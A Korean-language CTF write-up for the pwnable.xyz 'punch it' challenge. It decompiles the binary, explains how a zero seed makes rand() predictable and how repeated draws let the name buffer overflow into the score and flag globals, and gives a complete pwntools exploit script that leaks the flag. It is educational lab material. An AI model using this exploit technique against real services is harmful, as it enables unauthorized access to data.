tmxklab

[Pwnable.xyz] punch it 본문

War Game/Pwnable.xyz

[Pwnable.xyz] punch it

tmxk4221 2020. 9. 9. 22:26

1. 문제

nc svc.pwnable.xyz 30024

 

1) mitigation 확인

 

2) 문제 확인

  • 이름을 입력하고 캐릭터를 선택한다. 이후에 어떤 값을 넣으면 이름을 출력하고 종료된다.

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  unsigned int v5; // [rsp+0h] [rbp-10h]
  unsigned int v6; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  motd_select_character();
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        printf("score: %ld\n", score);
        printf("gimmi pawa> ");
        v5 = 0;
        v6 = rand();
        _isoc99_scanf("%u", &v5);
        getchar();
        if ( v5 != v6 )
          break;
        puts("draw");
        printf("Save? [N/y]");
        if ( getchar() == 'y' )
        {
          printf("Name: ");
          v3 = strlen(buf);
          read(0, buf, v3);
        }
      }
      if ( v5 <= v6 )
        break;
      ++score;
    }
  }
  while ( v5 >= v6 );
  printf("Sowwy, pleya %s luse, bay bay", buf);
  return 0;
}
  • 먼저 motd_select_character()를 호출한다.
  • v5(입력 값)와 v6(랜덤 값)과 비교
    • 같으면 'y'를 입력하고 read(0, buf, strlen(buf)) 실행
    • 같지 않으면 while루프에서 빠지게 되고 if문 수행
      • v5 ≤ v6 : break → 게임에 져서 buf출력하고 프로그램 종료
      • v5 > v6 : ++score → 게임에 이겨서 계속 while루프 반복

 

3-2) motd_select_character()

int motd_select_character()
{
  int v0; // eax
  int i; // [rsp+4h] [rbp-Ch]
  int fd; // [rsp+Ch] [rbp-4h]

  printf("\n\tLet's play a punching game? [Y/n] : ");
  if ( getchar() == 'n' )
    exit(1);
  getchar();
  printf("Name: ");
  read(0, buf, 44uLL);
  printf("Select your character: \n\t1. Goku\n\t2. Saitama\n\t3. Naruto\n\t4. Toriko\n> ");
  v0 = getchar();
  if ( v0 == '2' )
  {
    choose_saitama();
  }
  else if ( v0 > 50 )
  {
    if ( v0 == '3' )
    {
      choose_naruto();
    }
    else
    {
      if ( v0 != '4' )
        goto LABEL_14;
      choose_toriko();
    }
  }
  else
  {
    if ( v0 != '1' )
    {
LABEL_14:
      puts("Invalid");
      goto LABEL_15;
    }
    choose_goku();
  }
LABEL_15:
  srand(game_t);
  printf("Loading");
  for ( i = 0; i <= 4; ++i )
  {
    putchar(46);
    sleep(1u);
  }
  putchar(10);
  fd = open("./flag", 0);
  if ( fd == -1 )
  {
    puts("error");
    exit(1);
  }
  read(fd, &flag_content, 0x80uLL);
  return close(fd);
}
  • read()를 통해 buf에 0x2c(44)만큼 입력 값을 받는다.
  • choose_???()관련 함수 모두 "/dev/urandom"에서 1byte를 가져와 game_t(전역변수)에 넣는 역할을 한다.
  • 그리고 srand(game_t)를 통해 rand함수에 사용될 수를 초기화 한다.
  • 마지막으로 flag파일을 open해서 flag_content(전역변수)에 저장한다.

전역변수)

  • game_t : 0x202040 → srand()의 파라미터, seed값
  • buf[44] : 0x202044 → name 저장하는 공간
  • score : 0x202070
  • flag_content : 0x202078 → flag값이 담긴 flag_content를 읽으면 될 듯

 

 


2. 접근방법

 

제일 먼저 생각한 것은 flag_content에 flag값이 담겨있으므로 입력 값을 받을 수 있는 buf[44]에 flag_content까지 널 바이트를

제거해주면 마지막에 buf를 출력하면서 flag_content값까지 출력될 것이다.

flag_content(0x202078) - buf(0x202044) = 0x34

 

 

1) random값 → v6[rbp-0xc]

하지만 main()에서 v5(입력 값)와 비교하는 v6는 랜덤 값이고 seed값은 아까 위에서 봤듯이 moted_select_character()에서 설정된다.

 

 

해결 방법)

여기서 0을 입력하면 choose관련 함수는 수행되지 않아 game_t에 값이 세팅되지 않고 바로 srand(game_t)를 수행한다.

→ srand(0)

 

결국 시드 값은 고정되어 랜덤 값도 고정시킬 수 있다.

위 문제를 해결했으니 게임에 져서 프로그램이 종료되는 것을 막을 수 있다.

그럼 이제 v5와 v6가 동일하여 draw가 되거나 v5가 v6보다 커서 win이 될 수 있다.

draw : read(0, buf, strlen(buf)) / win : ++score

 

 

처음 motd_select_character()에서 buf에 값을 받을 때 최대 44byte까지 받지 못하는 것을 알 수 있다.

44byte가지고는 flag_content까지 건드리지는 못하지만 44byte를 꽉 채우고 score(buf+44)점수를 올리면 draw에서 buf에 45byte까지 입력을 받을 수 있다.

그러면 score까지 1byte 건드릴 수 있고 score를 0xff로 세팅한 뒤 win하게 되면 0x1 00이 되면서 또 다시 overflow가 발생한다.

 

 

계속 이러한 과정을 반복하다 보면 score에서 flag_content까지 널 바이트없이 값을 채우고 마지막 printf에서 buf를 출력하면 flag_content내용까지 출력될 것이다.

flag_content(0x202078) - score(0x202070) = 8byte

 

참고 그림)

  • 그림을 보면 패턴이 존재하는 것을 확인할 수 있다. (stage0는 제외)
  • "w→w→d"묶음을 1개로 하면 stage1에서는 1개, stage2에서는 2개, stage3에서는 4개
  • 즉, 2^(x-1), (x=stage)개수로 증가한다. 그리고 stage7까지만 진행하면 된다.

 

이제  코딩을 열심히 해보자 ㅋㅎㅋㅎ

 


3. 풀이

 

1) 익스코드

from pwn import *
from ctypes import *

#context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30024)
lib = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
lib.srand(0)
#gdb.attach(p)

# win = 3, buf[44] = 2, '\xff' = 1,  score[8] = 0, 
buf_len = 44
buf = list([2 for i in range(buf_len)])
score = list([ 0 for i in range(8+1)])
new_list = buf + score


def win():
    rand = lib.rand()
    p.sendlineafter("pawa> ", str(rand+1))

    for index in range(buf_len, buf_len+8):
        if 0 == new_list[index]:
            new_list[index] = 3 
            break
        if 1 == new_list[index]:
            new_list[index] = 0


def draw():
    rand = lib.rand()
    p.sendlineafter("pawa> ", str(rand))
    p.sendafter("[N/y]","y")

    length = new_list.index(0)
    p.sendafter("Name: ", "\xff"*length)
    for index in range(buf_len, length):
        new_list[index] = 1


def wwd():
    win()
    log.info(new_list[44:])
    win()
    log.info(new_list[44:])
    draw()
    log.info(new_list[44:])

# 1. Init
p.sendlineafter("[Y/n] : ", "y")
p.sendafter("Name: ", "A"*0x2c)
p.sendafter("> ", str(0))

log.info(new_list[44:])
win()
log.info(new_list[44:])
draw()
log.info(new_list[44:])


# 2. stage 1 ~ stage 7
for stage in range(7):
    log.info("###### stage : "+str(stage) +"######")
    for i in range(2**stage):
        wwd()

# 3. Read Flag!!
p.send(1)

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

 

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] password  (0) 2020.09.09
[Pwnable.xyz] executioner  (0) 2020.09.09
[Pwnable.xyz] catalog  (0) 2020.09.09
[Pwnable.xyz] PvP  (0) 2020.09.09
[Pwnable.xyz] bookmark  (0) 2020.09.09
Comments